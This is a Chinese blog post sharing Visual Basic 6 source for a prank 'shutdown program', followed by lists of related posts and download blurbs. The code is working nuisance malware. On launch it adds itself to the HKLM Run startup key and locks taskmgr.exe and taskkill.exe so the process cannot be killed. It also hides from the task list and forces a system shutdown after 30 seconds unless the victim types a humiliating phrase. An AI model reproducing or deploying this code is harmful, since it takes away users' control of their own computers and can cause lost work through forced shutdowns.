VB关机程序
2009年12月26日
这是我以前写的一个,很牛的.我自己都没办法关,只能照样子输入
'添加一个按钮command1,一个文本框,text1,和一个时间控件timer1
'把下面的代码复制到窗体里就可以了.
'注:任务管理器打不开.自动加入启动项.
Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Private Declare Function SetWindowPos Lib "user32" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal X As Long, ByVal Y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long
Dim a, i As Integer
Private Sub Command1_Click()
a = a + 1
If a = 3 Then Shell "cmd.exe /c shutdown -s -t 5": Close #1: Close #2: MsgBox "连续三次输入错误,系统5秒后关机.", vbCritical, "关机!"
If Text1.Text "我是猪我是猪我是猪" Then
'------------------------
Dim myval
myval = SetWindowPos(Me.hwnd, -2, 0, 0, 0, 0, 3)
'--------------------
MsgBox "老老实实的输,不老实的话.嘿嘿,就要关机了." _
& Chr(13) & Chr(13) & Chr(10) & Chr(10) & "还剩" & (30 - i) & "秒关机!" _
& Chr(13) & "还剩下" & (3 - a) & "次机会.", vbExclamation, "警告!"
myval = SetWindowPos(Me.hwnd, -1, 0, 0, 0, 0, 3)
Else
Timer1.Interval = 0
myval = SetWindowPos(Me.hwnd, -2, 0, 0, 0, 0, 3)
MsgBox "你就是猪.!早讲不就OK了.", vbInformation, "哈哈."
Close #1
Close #2
End
End If
End Sub
Private Sub Form_Load()
Set w = CreateObject("wscript.shell")
w.regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\" & App.EXEName, App.Path & "\" & App.EXEName & ".exe"
'加入启动项目
Close #1
Close #2
Open "c:\windows\system32\taskmgr.exe" For Input Lock Read Write As #1
Open "c:\windows\system32\taskkill.exe" For Input Lock Read Write As #2
'将窗体的BorderStyle 属性设置为0
Me.BackColor = vbBlack
Me.WindowState = 2 '将窗口最大化,全屏
' 窗口置前
Dim myval
myval = SetWindowPos(Me.hwnd, -1, 0, 0, 0, 0, 3)
text1.text="点击这里输入三个我是猪!否则三十秒后关机!"
'==========
App.TaskVisible = False
End Sub
Private Sub Text1_Click()
If Text1.Text = "点击这里输入三个我是猪!否则三十秒后关机!" Then
Text1.Text = ""
Else
End If
End Sub
Private Sub Text1_GotFocus()
Text1.SelStart = 0
Text1.SelLength = Len(Text1)
End Sub
Private Sub Timer1_Timer()
i = i + 1
Command1.Caption = "确定输入" & "(" & (30 - i) & ")"
If i = 30 Then
Close #1
Close #2
Close #3
Shell "cmd.exe /c shutdown -s -t 3"
myval = SetWindowPos(Me.hwnd, -2, 0, 0, 0, 0, 3)
MsgBox "时间到系统三秒后关机.", vbExclamation, "关机"
End If
End Sub
发表评论
-
在 Android 平台上应用 Berkeley DB 11gR2 SQL(drop-in模式)(转http://www.cnmsdn.com/html/201004/1270362092ID3134.html)
2012-01-20 01:03 996在 Android 平台上应用 Ber ... -
在 C# 中通过 P/Invoke 调用Win32 DLL
2012-01-20 01:03 489在 C# 中通过 P/Invoke 调用Win32 DLL ... -
用IIS发布网站
2012-01-20 01:03 598用IIS发布网站 2010年07月15日 1,安装iis ... -
我的ATL/ADO编程的曲折经历
2012-01-20 01:03 576我的ATL/ADO编程的曲折经 ... -
深入探究 Win32 PE 文件格式
2012-01-20 01:03 673深入探究 Win32 PE 文件格 ... -
中国各地男人之最的分析
2012-01-19 08:52 1220中国各地男人之最的分 ... -
第七十三章 暗杀
2012-01-19 08:52 542第七十三章 暗杀 2011年06月10日 丰含笑又等了 ... -
我的见解
2012-01-19 08:52 501我的见解 2011年08月20日 上等美女只存在两个地方 ... -
“网店模特”成新兴职业 大学生兼职居多
2012-01-19 08:52 602“网店模特”成新兴职 ... -
HTC G2 超级新手教程之最终版
2012-01-17 01:22 530HTC G2 超级新手教程之最 ... -
System32下每个DLL的作用
2012-01-17 01:22 1630System32下每个DLL的作用 ... -
轻松编译google chrome浏览器最新稳定版源代码
2012-01-17 01:22 1023轻松编译google chrome浏览器最新稳定版源代码 2 ... -
从零开始- Android刷机指南<二>
2012-01-17 01:22 614从零开始- Android刷机指 ... -
c# 语音功能入门
2012-01-17 01:22 937c# 语音功能入门 2011年10月09日 ... -
一个简单破解excelvba工程密码方法
2012-01-15 20:04 1320一个简单破解excelvba工程密码方法 2010年02月2 ... -
转 Windows API 函数在VFP中的运用
2012-01-15 20:04 561转 Windows API 函数在VFP中的运用 2010年 ... -
VB窗口图表化
2012-01-15 20:03 597VB窗口图表化 2011年04月20日 '本模块为实现托 ... -
VB获取QQ2011安装路径
2012-01-15 20:03 736VB获取QQ2011安装路径 2011年05月23日 V ... -
rome制作rss服务
2012-01-11 12:13 594rome制作rss服务 2011年04月01日 最近用 ... -
jspSmartUpload下载
2012-01-11 12:13 563jspSmartUpload下载 2011年04月01日 ...
相关推荐
自动关机,当你人不在电脑面前时,可你又想关机,你可以运行这个程序。
VB关机程序 可以自己定义关机时间
自己编的vb关机程序,还不是很完善,希望大家指教.
VB关机程序--包括注销、重启、关机。 附:(源码) Option Explicit Private Declare Function GetCurrentProcess Lib "kernel32" () As Long Private Declare Function OpenProcessToken Lib "advapi32" (ByVal ...
vb简单关机程序,如果想要代码的话,欢迎交流vb程序设计
可以设置定时关机,一段时间后关机 Private Sub Command1_Click() h = Combo1.Text s = Combo2.Text If (h >= 0 And h <= 23 And s >= 0 And s ) Then Text1.Text = Combo1.Text + ":" + Combo2.Text Form2.Hide ...
VB定时关机程序,简洁快速,解决长时间待机下载和儿童长时间玩电脑的情况
用VB编写的定时关机程序 全部工程文件 小巧实用 欢迎大家使用
VB一个实用的定时关机程序 VB一个实用的定时关机程序
用vb实现远程关机程序用vb实现远程关机程序用vb实现远程关机程序
VB制作的控制电脑延迟关机程序 通过Shell命令来实现功能
vb写的 自动关机程序 vb写的 自动关机程序 倒计时 关机 VB 倒计时 关机 VB
VB关机_重启动的程序,可以使用来编写关机程序,
整人小程序 vb编写 命令关机
vb定时关机程序(源码) 可以按时关机 写的一般
vb阻止关机小程序
VB编程源代码 81关机程序(定时关机功能,关机提醒功能,倒计时关机功能)VB编程源代码 81关机程序(定时关机功能,关机提醒功能,倒计时关机功能)VB编程源代码 81关机程序(定时关机功能,关机提醒功能,倒计时...
基于VB语言的简单重启、关机、注销程序。